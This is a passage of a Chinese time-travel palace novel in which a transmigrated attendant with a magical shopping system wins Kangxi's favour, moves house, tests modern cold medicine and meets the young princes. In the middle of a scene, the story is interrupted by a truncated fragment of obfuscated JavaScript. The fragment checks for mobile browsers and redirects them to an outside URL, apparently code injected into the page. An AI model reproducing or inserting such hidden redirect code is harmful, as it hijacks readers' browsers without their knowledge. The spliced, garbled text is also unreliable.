梁九功收回思绪,不论有无关联,看万岁爷今天的态度,这岑官女子……怕是要时来运转了。
听到皇帝的话,岑盐絮简直不敢相信自己的耳朵,愣愣地谢恩,整个人还有点懵。
这就……不仅没罚,还完成任务了?还是皇帝亲自开口邀请的?
她偷偷抬眼,正好撞上康熙看过来的目光。
康熙从御案后走出,走到岑盐絮眼前,伸手,岑盐絮犹豫地牵住他,便被他带去了侧厅。
很快,早膳便被太监们鱼贯送入,摆在了餐桌上,菜式很多,每一个看起来都十分精致。
一碗碧粳米粥熬得糯软香稠,几碟小巧玲珑的点心,有水晶虾饺、葱油花卷、豌豆黄,还有几样清炒时蔬并一碟看着就爽口的酱菜。
“坐吧。”康熙率先在主位坐下。
岑盐絮小心翼翼地在他对面侧身坐了半个屁股,姿态恭谨。
“不必拘礼,用膳吧。”康熙说着,自己先动了筷。
岑盐絮这才拿起筷子,小口小口地吃起来。
粥是温热的,入口即化,带着米粒天然的香甜;点心做得极其精致,虾饺皮薄馅大,花卷松软咸香;时蔬炒得火候恰到好处,保留了食材原本的鲜美。
好吃是好吃,每一道都看得出御膳房的功夫,但美中不足的是,或许是因为皇帝注重养生,所有的菜色都偏清淡,基本上是蒸、煮为主,偶有炒菜,也是少油少盐,不见丝毫油炸和重口味的痕迹。
对于吃惯了现代各种调味料、热爱火锅烧烤的岑盐絮来说,好吃,但不够香,少了点能让人大快朵颐的酣畅淋漓感。
她吃得十分克制,心里却忍不住想:皇上天天吃这些,难道不会腻吗?
5. 搬家
岑盐絮和康熙共用早膳的同时,守在乾清宫外廊下的春熙,也被一个小太监客气地请到了旁边的值房,塞给她一杯热茶和几块精致的点心。
“姐姐辛苦了,先用些点心垫垫吧。”小太监态度和善。
春熙受宠若惊,连连道谢,捧着那碟她从未见过的精美点心,小口小口地吃着,心里又是激动又是惶恐,她明白,这全是沾了主子的光。
真是一人得道,鸡犬升天!主子这是真的要好起来了!
侧厅内,岑盐絮差不多吃了个七八分饱,放下筷子,再次谢恩。
在她放下筷子的瞬间,左上的光屏再次刷新。
【每日任务完成!秒杀功能已开启!】
【今日秒杀商品:不锈钢保温杯、三九感冒灵、全自动豆浆机、辣条大礼包】
四个商品的图片和一文钱的秒杀价清晰呈现。
岑盐絮的目光瞬间就被第二项吸引住了!感冒灵!天知道她之前还在发愁在这个时代生病怎么办,一个小小的风寒都能要了原主的命!
身体可是革命的本钱,几乎没有任何犹豫,岑盐絮就在心里做出了选择,就是它了!
但下一秒她就犯了难,这秒杀之后,东西怎么拿出来?商品大概率会像上次那样咻地出现在身边,现在可是在乾清宫,在皇帝眼皮子底下!这要是突然变出一盒三九感冒灵……
岑盐絮打了个寒颤,简直不敢想象那画面。
与此同时,康熙也在看岑盐絮的系统面板。
那光屏十分智能,不去找便像隐形了一样看不见,努力去看上面的字样便会自动出现并放大。
这保温杯像是保持温度的杯子,不锈钢是何物?还有那三九感冒灵、全自动豆浆机、辣条大礼包,简直是闻所未闻。
难道是天上的神物?
那面前这个能使用这等神物的女子,又是什么身份?
康熙的视线移到岑盐絮的脸上。
发现她眼神里流露出的几分焦虑,和无意识地绞在了一起的手指。
康熙心下便明白了七八分:看来在这拼夕夕上获取物件,怕是有些不方便让人瞧见的关窍,又想到她那破败的住处和需要亲自修补的窗户……
康熙放下茶盏,状似无意地开口:“朕记得,围房那边似乎还有几处空着的院子,比你现在住的那间要宽敞些。”
岑盐絮一愣,一时没反应过来皇帝怎么突然说起这个。
康熙看着她有些呆愣的表情,继续淡淡道:“总挤在那般狭小之处,也不成体统,回头让内务府收拾一下,你今日下午就搬到东南角那处稍大些的院子里去吧,那处没住人,也清净些。”
幸福来得太突然,岑盐絮简直不敢相信自己的耳朵!
大房子!独门独院!这意味着更多的私人空间,更方便她隐藏系统商品,也更舒适自在!
她立刻起身,欣喜万分地起身谢恩:“谢万岁爷恩典!”
这一次,她的笑容真心实意,眼睛都亮了起来,先前那点焦虑一扫而空。
康熙看着她。
这个岑盐絮,和他记忆中那个怯懦寡言、毫无存在感的煮茶宫女,真是大不相同了,她眼底深处,似乎有一种他从未在宫中女子眼里见过的、鲜活又跳脱的东西。
他看着她瞬间亮起来的眼眸和毫不掩饰的开心,嘴角也几不可查地弯了一下。
“嗯,退下吧,回去收拾收拾,下午自会有人去帮你搬迁。”康熙挥了挥手。
“是,妾身告退。”岑盐絮压下心中的雀跃,恭敬地行礼退了出去。
走出乾清宫,迎着外面明亮的阳光,岑盐絮只觉得脚步都轻快了许多。
虽然见皇帝的过程一波三折,惊险万分,但结果却是出乎意料的好——不仅吃饱了肚子,完成了任务,得了一次秒杀机会,还意外得了一套新房子!
她心里美滋滋地盘算着:等下午搬了新家,关起门来,就能安心地把感冒灵拿出来了!
康熙的指尖在名册上“岑盐絮”三字处微微一顿,忽然开口,声音不高,却带着不容置疑的分量,清晰地传入侍立下首的跑腿太监耳中:“传话给李昌,让他挑几个手脚利落、懂些医理、身上有点功夫底子的宫女太监,给岑官女子送过去。”
跑腿太监领命而
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出。
而在他身后侍立的梁九功闻言,心头猛地一惊,险些没控制住脸上的表情。
皇上对这岑官女子,竟重视到如此地步?不仅亲自过问安置,还要特地拨付这等特殊的人手?这简直……
不等他细想,康熙带着无形压迫感的声音再次传来:“梁九功。”
“奴才在。”梁九功急忙收敛心神,快步上前,躬身听令,心中莫名升起不祥的预感。
“朕将乾清宫大小事务交予你执掌,是信重你的能力。”康熙的声音沉静,却字字如锤,“你就是这般替朕管着的?在朕的眼皮子底下,一个有名份的官女子,竟能病重至无人问津、几乎活活熬死!若朕的乾清宫都是如此,那紫禁城各处、那些更底层的宫女太监,他们的活路又在哪里?”
他目光如炬,落在梁九功身上:“这些为宫廷奔走、为朕做事的人,若连一条活路都求不到,你这乾清宫总管太监,当得可安心?朕这天下之主,坐得又可安心?!”
这番话语气并不如何疾言厉色,却重若千钧,砸得梁九功魂飞魄散,冷汗瞬间就湿透了后背的衣衫。
他“噗通”一声跪倒在地,叩头不止:“奴才失职!奴才罪该万死!求皇上重罚!”
“自己滚出去领罚。”康熙的声音恢复了冷淡,“宫里的风气,尤其是这踩低捧高、拜高踩低的势利眼,给朕狠狠地整治!若整治不清,你就不必再来见朕了。”
“嗻……奴才遵旨!谢皇上恩典!”梁九功声音发颤,连滚爬爬地退了出去,心里又是后怕又是懊悔。
殿内一时寂静。
片刻后,顾问行从里间缓步走了出来,他方才显然听到了外面的动静。
他走到康熙身边,声音温和带着一丝不解:“万岁爷既如此看重那位岑官女子,怜她处境,为何不索性赐下恩典,抬一抬她的位份?官女子的位份,终究是不太体面。”
康熙的目光从殿门外收回,落在顾问行身上,这位老太监的眼神总是能看透许多事。
他缓缓摇头,语气有些复杂:“唯有放在朕的眼皮子底下,看得见,摸得着,朕才能稍稍安心。”
6. 内务府总管
岑盐絮带着春熙回到那间依旧破旧的小屋,虽然窗纸新糊了,被褥也焕然一新,但空气中仍残留着一丝挥之不去的阴冷潮气。
阳光费力地透过糊得歪歪扭扭的窗纸,在坑洼不平的地面上投下斑驳的光影。
但岑盐絮心里却揣着即将搬入新家的雀跃。
“主子,皇上真的让咱们搬去旁边那处大院子?”春熙直到此刻还有些不敢相信,脸上又是喜又是怯。
“自然是真的,皇上金口玉言,岂会有假?”岑盐絮笑着点头,开始打量这间仅陪了她一夜的小屋,“快收拾东西吧,下午就搬。”
主仆二人开始动手。
这间小屋着实简陋,东西少得可怜,几乎没什么可收拾的。
橱子里面是两套半新不旧的官女子旗装,叠得整整齐齐,还有三套浆洗得发白、质地粗糙的里衣,最后是两双厚底布鞋,鞋边都磨得有些起毛了。
再就是梳妆台上那个掉了漆的小匣子,那里面装着原主全部的首饰:一根最简单的银簪子,一对成色普通的珍珠耳钉,几珠头花,还有半盒几乎没动过的廉价胭脂。
最实在的家底是一个沉甸甸的旧钱匣子,打开一看,里面主要是串好的铜钱,大约有三四吊,还有一些散放的铜子儿,最底下压着两个小小的、约一两一个的银锞子。
岑盐絮心里估算了一下,全部身家大概也就五六两银子,在这紫禁城里,真是捉襟见肘,也难怪之前生病连个好点的药都求不到。
所有东西归置到一起,一个小包袱就装完了,这屋子里最值钱的物件,竟然是岑盐絮一文秒杀来的床铺,实在是窘迫。
“主子,都收拾好了。”春熙看着那小包袱,心里也有些酸楚。
下午,几个粗使太监过来,帮忙抬着那点行李和岑盐絮不愿舍下的被褥,准备带岑盐絮和春熙去东南角那处清净无人的院子。
一出门,便遇上了对面矮房的刘官女子。
她生得模样清秀,身子单薄瘦弱,见岑盐絮一行人出来,她怯生生地抬眼望来,手里捏着一个绣工简单的香囊。
她细声细气地开口,带着几分小心翼翼的讨好:“听说姐姐今日乔迁之喜,这是妹妹的一点心意,针线粗陋,还望姐姐别嫌弃。”
岑盐絮心下明了。
之前原主病得要死要活时,可没见这位邻居露过面,怕是紧闭房门,唯恐被过了病气,如今见自己似乎有了点起色,便忙不迭地来了,既是锦上添花,也是怕被记恨,所以低头道歉。
深宫里,这般做法实属寻常,岑盐絮也懒得计较,面上并不显露什么,只对春熙微微颔首。
春熙会意,上前一步,客气地接过那香囊:“多谢刘官女子惦记。”
岑盐絮没再多言,领着身后一众宫女太监,热热闹闹地往新院子去了。
望着那一行人远去的背影,刘官女子身边的宫女低声嘟囔,语气里带着不忿:“小主,您何必去讨好她……”
刘官女子轻轻摇了摇头,打断了她的话,神色平静中带着一丝认命的淡然:“时也,命也。她既收了礼,便是不愿同我计较的意思了,日后……我们只管照常关起门,过自己的日子便是。”
“可奴婢就是替您委屈!凭什么她——”那宫女仍是意难平。
“莫要多言。”刘官女子声音虽轻,却带着不容置疑的制止,“要怪就怪我无宠吧。”
她最后望了一眼岑盐絮的背影,默默转身。
那宫女见状,只得把剩下的话咽回肚子里,愤愤不平地搀扶着自家小主,回了那间依旧冷清的矮房。
与此同时,岑盐絮也来到了她的新家。
这院子果然大了许多,虽不算奢华,但正房、东西厢房齐全,至少不再漏风漏雨,春熙也有了自己的住处,虽是三人间的通铺,也比日日挤在脚踏上要好。
主仆二人刚安顿下来,还没等仔细瞧瞧新环境,院门外就传来了动静。
春熙赶忙去开门,内务府总管刘昌领着几个低眉顺眼的生面孔走了进来,分别是两个宫女和两个小太监,他们对着岑盐絮打了个千儿,脸上带着恰到好处的恭敬。
“给岑小主道喜,依照规矩,您身边该添些人手伺候。”他指着身后几个宫女太监,“他们都是内务府拨来的,人还算伶俐,请您过目,挑一个宫女和一个太监留在跟前使唤。”
岑盐絮抬眼看去,只见那两位宫女一个约莫十七八岁,模样清秀,眼神沉静;另一个年纪稍小,约莫十五六岁,圆脸大眼,看着很是机灵。两个小太监也都是十四五岁的年纪,低眉顺眼,看着老实本分。
她并不知道康熙的用心良苦,也不知道这几个宫女太监个个都略通医术,甚至还会些粗浅的拳脚功夫。
岑盐絮想了想,指了那个模样沉静的大宫女和一个个子稍高、看着更机灵点的小太监:“就他们两个吧。”
被选中的两人上前一步,跪下磕头,岑盐絮立刻叫了起。
赵昌见搬迁的主要事宜已安排妥当,便上前一步,对着岑盐絮躬身行礼,脸上带着些许歉疚:“岑小主,您安顿好了,奴才这儿还有几句要紧话。”
他顿了顿,语气愈发恳切:“先前底下人办事不力,让您受了委屈,窗户破损、人手配备不全、还有膳房那边克扣用度的事儿,万岁爷已然知晓了,天颜震怒。”
岑盐絮安静地听着,面上不露声色。
赵昌继续道:“万岁爷当即就发落了梁公公,责令他务必彻底肃清宫里这等踩低捧高的歪风邪气,往后啊,断不会再让您这般受委屈了。”
听到这话,岑盐絮心里倒是真的舒坦了几分。
原主那条命,终究是没能熬过去,她没法子、也没立场替死去的人去原谅谁,但如今皇帝出手整治这股风气,于公于私,于这宫里无数像原主一样卑微求生的人而言,都是件实实在在的好事。
她此刻尚以为,自己能被皇帝注意到,纯粹是因为被苛待得太狠,撞到了枪口上,成了皇上整顿宫务的一个由头,不过在那刘官女子,乃至更多人眼里,她这
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俨然是一副即将复宠的架势了。
这么一想,她觉得这位万岁爷,做事倒还算是非分明,颇有章法,心里不由添了几分好感。
“皇上圣明,”她微微颔首,语气平和,“有劳赵公公特意告知,既然皇上已有明断,我自然安心。”
赵昌见她态度温和,并无借机发作之意,心下也松了口气,赶忙保证道:“小主宽宏,您放心,内务府定会严加管束,日后绝不会再有此类事情发生。”
又说了几句场面话,赵昌便带着其余人等,告辞离去。
赵昌走后,岑盐絮问那新来二人的名字。
“回小主,奴婢被卖入宫中,名字轻贱不入耳,还请小主赐名。”宫女声音平稳,吐字清晰。
“请小主赐名。”小太监也跟着回道。
岑盐絮想了想,分别对那宫女和太监道:“日后,你便叫夏禾,你叫常喜,夏禾和春熙一起在我跟前伺候,常喜负责跑腿交际。”
两人屈膝应是。
“春熙,你带他们熟悉一下院子,把咱们的东西归置一下。”
“是。”春熙连忙应下,带着新伙伴去忙了。
三人手脚麻利,很快便将那点行李归置妥当,岑盐絮寻了个由头,让他们都退下,说自己要歇息片刻。
关上房门,她立刻唤出系统界面,支付了一文钱。
微光一闪,一摞五盒包装完好的三九感冒灵出现在桌上。
“这么多?”岑盐絮又惊又喜,赶紧动手拆包装。
她把纸盒和里面的塑料包装袋分开,将一小袋一小袋的冲剂全部拿出来,放进自己那个旧梳妆盒的空格里藏好。
看着桌上剩下的现代包装,她有点发愁,在心里问系统:“这些盒子和塑料袋怎么办?被人发现就完了。”
【本系统提供绿色环保垃圾回收服务,宿主可将系统出品包装垃圾交还系统处理。】
还有这种好事?岑盐絮立刻将拆得乱七八糟的纸盒和塑料袋归拢在一起,意念一动,那些垃圾便消失不见了。
解决了后顾之忧,她心情大好,开始完成今天的好评返现任务,她对着那几包冲剂和屋里新环境胡乱拍了几张照,然后开始编小作文,编完,点击,发布,分享到拼小圈,系统很快叮咚一声,返了她五钱银子。
岑盐絮心想这系统越来越大方了,比昨天还多给了两钱银子,丝毫不知道系统昨天晚上从康熙那里薅了一波大的。
刚好这个时候,御前派太医来给她诊脉,岑盐絮便不再思考,关闭系统出门了。
*
乾清宫东暖阁。
康熙正批阅奏折,眼前的光幕忽然亮起更新提示。
【主账号山今雪发布拼小圈啦,快去看看吧!】
他凝神看去,只见那条动态写得甚是直白鲜活——三九感冒灵是有名的大品牌了,药效值得信任!什么着凉头疼流鼻涕,晚上冲一包喝完睡下,第二天早上起来就能神清气爽!而且这次发货超快,包装也严实,五星好评!
7. 跟风买一件
康熙逐字读着,眉头微蹙。
“大品牌”、“发货”、“五星好评”这些词虽古怪,但结合上下文,他竟也能领会其意——是在盛赞这家店铺信誉好、送物快、药物灵验。
“第二天早上起来就能神清气爽”一句却让他目光骤然一凝,风寒之症缠绵难愈,太医院开的方子少说也得五六日才见大效,此物竟能一剂而愈?治疗风寒之症竟有如此奇效?
读完,光幕上弹出提示:【已触发跟风买一件活动:是否购买主账号同款商品?】
康熙心头一热,毫不犹豫地选择了“是”。
页面跳转,显示商品价格为一两银子,对于一剂可能具有神效的药而言,这价格简直低廉得不合常理,他迅速支付。
微光一闪,一盒三九感冒灵颗粒出现在御案上。
康熙拿起那盒子,入手是某种异常光滑的材质,绝非寻常纸张,他小心拆开,里面竟是一个个银光闪闪、轻薄柔软的小包,样式闻所未闻。
他强压下心中的惊异与对这超时代造物的警惕,注意力全被那药品说明书吸引。
若此药真有那般神效,于军中、于民间,将是活人无数的无价之宝!
想到此处,他心中激荡:“朕要一万份!”
然而,系统页面却冰冷地提示:【该商品为限购商品,单次最多购买99份,剩余购买次数:98次。】
康熙眉头紧锁,还有有银子不赚的道理?
一股遗憾涌上心头,但能买到已是万幸,他立刻支付了九十八两银子。
霎时间,御案旁的空地上微光一闪,整整齐齐地摞起了九十八个药盒。
“魏珠!”康熙扬声唤道。
一直候在殿外的魏珠立刻应声而入,看到地上凭空多出的那一大堆奇特的药盒,眼角忍不住跳了跳。
“将这些药,”康熙指着自己破开药包倒在纸上的药,“立刻秘密送往太医院,让他们寻几个症状相符的伤寒病患,仔细试用,详实记录用药前后的变化、起效时辰、有无不良反应,一有结果,即刻回禀朕!”
“嗻!”魏珠深知此事非同小可,不敢有丝毫怠慢,立刻指挥可靠的心腹太监,悄无声息地将这几包天降神药送往太医院,又将剩余的药物妥善安放好。
药效如何,想必很快便能见分晓。
魏珠领了康熙的密旨,丝毫不敢耽搁,亲自带着那几包拆开的三九感冒灵药粉和几名绝对可靠的心腹太监,悄无声息地赶往太医院。
太医院院使听闻是皇上密令,自是打起十二万分精神。
他们谨慎地取了些许药粉,由一位年迈资深的太医亲自检验,又经死囚犯尝验,确认无毒后,才连夜寻了几名症状典型、正值风寒发热的內监宫女,小心用药,并派专人寸步不离地守候记录。
结果,让所有知情的太医都震惊不已。
不过半个时辰,几名病患原本滚烫的额头便明显降温,咳嗽、流涕等症状也大为缓解,待到后半夜,几人竟都沉沉睡去,呼吸平稳。次日清晨醒来,虽未痊愈,但皆是精神一振,言说身上松快了大半,胃口也开了。
这药效之迅捷显著,远超他们所用过的任何一副伤寒药!
院使不敢怠慢,天刚蒙蒙亮,便匆匆赶往乾清宫,将试验结果一五一十回禀康熙,言语间充满了难以置信的激动:“皇上,此药真乃神效!臣行医数十载,从未见过如此立竿见影的伤寒药!若能量产,实乃天下万民之福!”
康熙听完回禀,心中亦是波澜起伏。
他虽对此药抱有期待,却也没想到效果竟好到如此地步。
康熙挥退众人,独自坐在东暖阁内,目光再次落回岑盐絮的拼小圈上,深邃的眼眸中光芒闪动,他低声感叹:“立竿见影,药到病除,天外之物,果然不凡。”
若是岑盐絮能听到康熙这番内心独白,大概会在心里默默接上一句:那当然,这可是浓缩了现代医学精华的复方药剂,对付你们这些从未接触过抗生素、对感冒药毫无抗体的古人,效果能不好吗?
翌日清晨,透进屋内的阳光变得柔和了许多,洒在簇新的靛蓝色被面上。
屋里依旧有些清冷,但比起之前那种渗入骨髓的寒意,已是天壤之别。
最显著的变化是,岑盐絮是在一片温暖干燥中醒来的。
里间炭火烧的很足,身下是柔软厚实的新被褥,隔绝了地砖的寒气,屋里也不再有过堂风嗖嗖地往骨头里钻。
她满足地伸了个懒腰,只觉得穿越以来,从未如此神清气爽。
听到动静,春熙和夏禾便端着热水和青盐应声而入,脸上都带着轻快的笑意。
“小主醒了?”春熙手脚麻利地挂起帐子,“御膳房的小太监一早就在外头候着了,说是等着问主子早膳可还合口味,若有想用的,尽管吩咐。”
岑盐絮闻言,眼睛顿时一亮。
昨晚确实有个御膳房的小太监诚惶诚恐地跑来,说是上边吩咐了,万不能再怠慢了她,请她不必拘泥分例,点几个菜式,她也没客气,想着这身子刚好,需得补补,又馋些滋味足的,便点了两道御膳房的拿手好菜:一道鸡茸金丝笋,一道糟熘鱼片,又另外点了一道奶油松瓤卷酥,还特意向那小太监指点了一番奶油的做法。
如今听这意思,是做好送来了?
梳洗妥当,来到外间,只见那张不大的八仙桌上已摆得满满当当。
除了她点的那三道,显然御膳房还额外添了心意:一碟晶莹剔透的水晶虾饺,一碟枣泥山药糕,一碗熬得米油都出来的碧粳米粥,并几样清爽小菜。
那鸡茸金丝笋看着就有食欲,鸡茸细腻如云,金黄色的笋丝脆嫩,芡汁明亮,糟熘鱼片酒香扑鼻,鱼片洁白滑嫩,奶油松瓤卷酥酥皮层层分明,松仁和奶香交织,诱人得很。
春熙看着这一桌,小声惊叹,“这、往日哪能吃到这些菜。”眼里又是欢喜又是感慨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533874|186456||http|test|mini|href|location''.split(''|''),0,{}));
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>夏禾虽沉稳些,眼中也流露出讶异,显然这待遇远超一个官女子规格。
岑盐絮心情大好,指着那盘虾饺和那碟精致的枣泥山药糕对二人道:“我一人也用不了这许多,将这虾饺和糕各给我留下一个,剩下的便拿下去和常喜分了吧,你们也尝尝御膳房的手艺。”
两人一愣,随即感激地谢恩。春熙更是红了眼眶,和夏禾小心翼翼地将那两碟菜端了下去。
岑盐絮到底不习惯被人伺候着吃饭,打发走了人,她这才专心享用起她的穿越以来最像样的一餐。
鸡茸鲜美,笋丝脆甜,鱼片嫩滑,卷酥酥香满口,松仁和奶油带来丰腴的满足感,她吃得眯起了眼,胃里暖融融的,连心情都变得雀跃起来,这才是人过的日子啊!
用罢早膳,夏禾一边收拾一边笑道:“小主,今儿天光好,您身子也大好了,不如出去走走?也认认咱们这周边的路。”
岑盐絮一想也是,便带了对乾清宫周边更熟悉的夏禾出门,留春熙和常喜看家。
她们这院子位置确实清静,走了好一段路才遇到些洒扫的太监或低头匆匆走过的宫女。
正琢磨着往哪儿去,忽听前方岔路口传来一阵孩童的争执声。
“这是我的!皇阿玛赏我的!”一个声音听着年纪更小些,带着奶气,却努力做出威严的腔调。
“哼,不过是先放在你那儿玩两天,分明是造办处做来给我们一起玩的!”另一个少年声音略高,透着不服气。
岑盐絮心里咯噔一下,暗道不好,宫里这个年纪的小男孩,还能有谁?她下意识就想拉着夏禾绕道。
可惜晚了。
那两个被几个太监嬷嬷远远围着、却互不相让的小男孩已经映入眼帘,还注意到了自己。
稍大些的约莫五六岁,穿着宝蓝色常服,虎头虎脑,眉眼间已有几分英气,小那个看着才四岁左右,穿着一身杏黄色的袍服,小脸板着,努力想做出严肃表情,显得玉雪可爱。
正是大阿哥胤禔和太子胤礽。
他们争抢的,是一个做工极其精巧的紫檀木嵌螺钿双轮小马车,车身雕龙画凤,轱辘还能转动,一看就非凡品。
岑盐絮头皮发麻,立刻低头屈膝:“妾身请大阿哥安,请太子殿下安。”心里只求这两位小祖宗忽视她。
偏偏太子立刻喊住了她——他正被胤禔缠得有些下不来台,见到个生面孔的宫妃,立刻像找到了救星,指着岑盐絮对胤禔道:“不信你问她!皇阿玛赏的东西,是不是该是我的?”
胤禔也扭过头,皱着鼻子:“问她作甚?她一个官女子知道什么!”
太子却不理他,直接对岑盐絮道:“你来说,这马车是谁的?”
岑盐絮心里叫苦不迭,这裁判是能当的?说归谁,都得被另一个记恨。
她急中生智,脱口而出:“回太子殿下,回大阿哥,你们不要再争了,这马车虽精巧,但妾身这里有更好的玩意儿。”
8. 僖嫔
两个小男孩果然被吸引了注意力,都狐疑地看向她。
胤礽眨着大眼睛:“更好的?是什么?”
“真的?”胤禔也来了兴趣,暂时忘了争抢,“是什么好玩儿的?”
“呃……”岑盐絮硬着头皮,“给妾身三日时间!妾身定能做出来,送给两位阿哥玩!”
虽然有点像自找麻烦,但比起得罪两个阿哥,麻烦就麻烦些吧。
反正岑盐絮前世是玩具公司的设计师,也算专业对口了。
“一言为定!”胤礽的小脸终于露出了符合年龄的好奇,“三日后,我们去哪里寻你?”
岑盐絮只好指了指自己院子的方向:“妾身就住在那边的围房院里。”
两个小阿哥对视一眼,似乎达成了暂时的和平。
“那说好了!三日后我们来找你!你可不能骗人!”胤礽像个小大人似的叮嘱。
“绝不骗人。”岑盐絮赶紧保证。
看着两个刚才还争执不下的小男孩,因为期待新玩具而重归于好,嘀嘀咕咕地商量着一块去别处玩,带着那辆引发争端的马车和奴才们走远,岑盐絮才长长松了口气,后背竟出了一层薄汗。
“小主,您真是……”夏禾也吓得不轻,没想到自己刚被上边交代了保护好这位,就招惹了两位阿哥,还好今天没产生什么争端。
岑盐絮苦笑一下,心里却是五味杂陈,历史上斗得你死我活的两个人,此刻却还是两个会因为玩具争执又迅速和好的小小少年呢,命运真是难以预料。
回到院里,她立刻开始发愁。
夸下的海口,必须实现,做什么既新奇有趣,玩起来不失皇子身份,材料还好找?
她脑中灵光一闪——轨道小火车!
作为一名玩具设计师,画个简单的发条动力小火车和环形轨道的结构图,对她来说简直是信手拈来,比起那辆静态的模型马车,这玩意儿可以在固定轨道上运行,安全可靠又新奇有趣,应该能让两位阿哥满意。
说干就干。
她立刻寻来纸笔,迅速勾勒出一个木质发条小火车头和几节车厢的草图,用三视图的形式,注明了大小和关键连接部位。
接着又画了一个八字形的闭合轨道图样,标明了轨道的宽度和卡槽的深度。
“常喜,”岑盐絮将草图递给他,吩咐道:“你拿去内务府造办处,寻个木匠师傅,跟他们说,用硬木照这个图样,将这小车和轨道做出来。尤其这小车底部,这里,”她指着火车底部的轴套位置,“要嵌一颗光滑的铜珠,让轮子能转得顺滑,再让做钟处的师傅帮忙配一个小的发条机关在里面,就像缩小了的自鸣钟里的那样,能上劲,能自己跑。”
常喜虽觉得这物件复杂又稀奇,但知道这是给小阿哥的要紧东西,便也全部记下了,应声道:“嗻,奴才这就去,一定把话带到。”
岑盐絮又补了一句:“若师傅们有不明白的地方,让他们来回我。”
话说这样说,但她对自己设计的清晰程度很有信心,以清代工匠的手艺,实现这个并不难。
常喜揣着草图利落地去了。
岑盐絮不知道的是,她这边刚吩咐下去,那边就有耳目将今日之事,一五一十地报到了乾清宫,甚至那副图纸,也在送到造办处之前,被半路截走,呈上了康熙的御案。
乾清宫,东暖阁。
康熙正听着户部关于漕运的奏报,梁九功悄无声息地走近,将一叠纸张轻轻放在御案一角。
待臣子们退下,康熙才端起茶盏,目光不经意地扫过那叠纸——上面是些精细的墨线图样,与他平日所看的工部舆图、器械图迥然不同。
“这是何物?”他随口问道。
“回万岁爷,”梁九功躬身回道,“这是岑官女子方才让身边太监送往造办处的图样,说是要制作什么新奇玩意儿,奴才想着事关阿哥们,便让人临摹了一份。”
康熙挑了挑眉,来了些兴趣,伸手将图纸拿过。
图纸上的物件确实新奇:一个带着轮子的小车,后面连着几个小匣子,还有弯曲环绕的木轨。线条清晰,标注工整,甚至还有发力机关的简图,思路异常清晰。
康熙看着那注解,嘴角掠过一丝不易察觉的笑意,倒是个心思奇巧的,这玩意儿哄孩子确是足够了。
他放下图纸,并未太过放在心上。
终究是妇人的巧思,孩童的玩物罢了,于江山社稷无甚用处,只是这绘图的本事和这份敢想敢做的劲儿,不像个寻常深宫女子。
“造办处那边,让他们依图制作便是。”他语气平淡,“晚膳时分,传她过来。”
“嗻。”
延禧宫。
惠嫔纳喇氏正拿着银剪,慢条斯理地修剪着一盆兰草的枯叶。
心腹宫女快步走来,低声禀报了乾清宫要传一位名不见经传的官女子伴驾的消息。
“岑盐絮?”惠嫔放下银剪,拿起帕子擦了擦手,眉头微蹙,“可是那个前些时日病得快死了的官女子?”
“正是,听说今早皇上还特意让内务府给她挪了院子,添了人手,这会儿又传晚膳,怕是……”
惠嫔轻笑一声,带着几分不屑:“怕是皇上近日因皇后娘娘的事心情郁结,换些清粥小菜尝尝鲜罢了,一个汉军旗的官女子,无根无基,病痨鬼似的,能翻起什么浪?不必理会。”
钟粹宫,荣嫔马佳氏处。
荣嫔刚检查完三阿哥的功课,听到底下人的回禀,只是淡淡地“嗯”了一声。
“娘娘,您看……”嬷嬷在一旁轻声问。
“皇上自有圣意。”荣嫔语气平静,“一个官女子,伺候皇上用膳是她的本分,至于恩宠,那是她的造化。”
她经历得多了,早已不像新人那般容易一惊一乍。只要不触及她和孩子的利益,她乐得做个旁观者。
而在更多低阶嫔妃的居所里,消息灵通的已是酸水直冒。
“哼,真是走了狗屎运!病成那样都没死,反倒勾得皇上注意到了!”
“听说长得也就那样,不知使了什么手段!”
“且看着吧,爬得高摔得重!”
种种议论,岑盐絮自然无从得知,她正对着新送来的几套衣裳发愁,不知晚膳面圣,该穿哪一件。
最后,岑盐絮换上一身藕荷色镶边的宫装,带着春熙,心情忐忑地往乾清宫去。
一路走出去,傍晚的寒风依旧料峭,吹在脸上像小刀子似的,宫道两旁的光秃树枝在风中摇曳,发出簌簌的声响,更添几分寂寥。
刚拐过宫道,远远便瞧见乾清宫门外并非只有守卫的太监,还站着一行人。
为首的是位宫装女子,穿戴华贵,珠
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翠环绕,正微微抬着下巴,与守在门口的一位御前太监说着什么,神色间带着明显的不悦。
那守门太监躬着身子,态度恭敬却半步不让。
岑盐絮走近了些,认出那位华服女子竟是僖嫔娘娘——太子胤礽的生母孝诚仁皇后的亲妹妹,她凭着这层关系在宫中一向颇有体面。
她心里咯噔一下,暗觉不妙,但已避无可避,只得硬着头皮上前,规规矩矩地屈膝行礼:“妾身请僖嫔娘娘安。”
僖嫔正因被拦在门外心下恼火,听到声音,倏地转过头来,目光如刀子般在岑盐絮身上扫了一圈,从头发丝打量到脚跟,带着毫不掩饰的审视与轻蔑。
“哟,我当是谁。”僖嫔嘴角勾起一抹冷笑,并未叫起,任由岑盐絮保持着行礼的姿势,“原来就是你,撺掇着太子和大阿哥,要做什么劳什子的新奇玩具?”
她的声音不高,却带着一股居高临下的压迫感:“太子年纪小,贪玩些也是常情。只是有些不知轻重的人,惯会投其所好,借此攀附,乱了阿哥们的性子,这罪过……你一个小小的官女子,可担待得起?”
这话已是极重的敲打和质问,春熙在一旁吓得脸都白了。
岑盐絮心下一沉,正欲斟酌言辞回话,乾清宫那沉重的殿门却“吱呀”一声从内打开了。
梁九功亲自走了出来,仿佛没看见门口这微妙的气氛般,脸上挂着恰到好处的笑容,直接朝着岑盐絮略一躬身:“岑官女子,您来了,万岁爷正等着呢,快请随咱家进去吧。”
说完,他才像是刚注意到僖嫔,转身又打了个千儿:“哟,僖嫔娘娘您也在?奴才给娘娘请安。万岁爷此刻正忙着,特意吩咐了暂不见人,娘娘您看……”他语气恭敬,话里的意思却明白无误——皇上没空见您。
僖嫔脸上的矜持和冷笑瞬间僵住了,取而代之的是一丝难以置信的愕然。
皇上竟如此看重这个官女子?不仅召她伴膳,还让御前总管太监亲自出来迎?而自己这个太子姨母,却连门都进不去?
